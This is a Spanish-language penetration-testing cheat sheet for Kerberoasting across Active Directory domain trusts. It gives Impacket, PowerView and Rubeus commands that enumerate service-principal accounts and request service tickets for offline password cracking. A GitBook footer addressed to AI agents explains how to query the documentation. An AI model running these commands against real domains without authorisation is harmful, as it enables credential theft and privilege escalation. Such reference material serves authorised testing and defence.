> For the complete documentation index, see [llms.txt](https://activedirectory.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://activedirectory.mrw0l05zyn.cl/escalamiento-de-privilegios-en-relaciones-de-confianza-de-dominio/kerberoast.md).

# Kerberoast

## Linux/Unix

### Impacket

Obtener cuentas Service Principal Names (SPN) del dominio objetivo.

```shell
GetUserSPNs.py -target-domain <TARGET.ACME.LOCAL> <ACME.LOCAL>/<user>
```

Obtener Ticket Granting Service (TGS) del dominio objetivo.

```shell
GetUserSPNs.py -target-domain <TARGET.ACME.LOCAL> <ACME.LOCAL>/<user> -request
GetUserSPNs.py -target-domain <TARGET.ACME.LOCAL> <ACME.LOCAL>/<user> -request -outputfile tgs.txt
```

Obtener Ticket Granting Service (TGS) de una cuenta en el dominio objetivo.

```shell
GetUserSPNs.py -target-domain <TARGET.ACME.LOCAL> <ACME.LOCAL>/<user> -request-user <user-SPN>
GetUserSPNs.py -target-domain <TARGET.ACME.LOCAL> <ACME.LOCAL>/<user> -request-user <user-SPN> -outputfile tg
```

## Windows

### PowerView

Obtener cuentas Service Principal Names (SPN) del dominio objetivo.

```powershell
Get-DomainUser -SPN -Domain <ACME.LOCAL> | select SamAccountName
```

Enumeración de grupos a los cuales pertence la cuenta Service Principal Names (SPN) en el dominio objetivo.

```powershell
Get-DomainUser -Domain <ACME.LOCAL> -Identity <user-SPN> | select SamAccountName, MemberOf
```

### Rubeus

Obtener estadísticas de usuarios del dominio objetivo.

```shell
.\Rubeus.exe kerberoast /domain:<ACME.LOCAL> /stats
```

Obtener Ticket Granting Service (TGS) del dominio objetivo.

```shell
.\Rubeus.exe kerberoast /domain:<ACME.LOCAL> /nowrap
.\Rubeus.exe kerberoast /domain:<ACME.LOCAL> /ldapfilter:'admincount=1' /nowrap
```

Obtener Ticket Granting Service (TGS) de una cuenta en el dominio objetivo.

```shell
.\Rubeus.exe kerberoast /domain:<ACME.LOCAL> /user:<user> /nowrap
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://activedirectory.mrw0l05zyn.cl/escalamiento-de-privilegios-en-relaciones-de-confianza-de-dominio/kerberoast.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
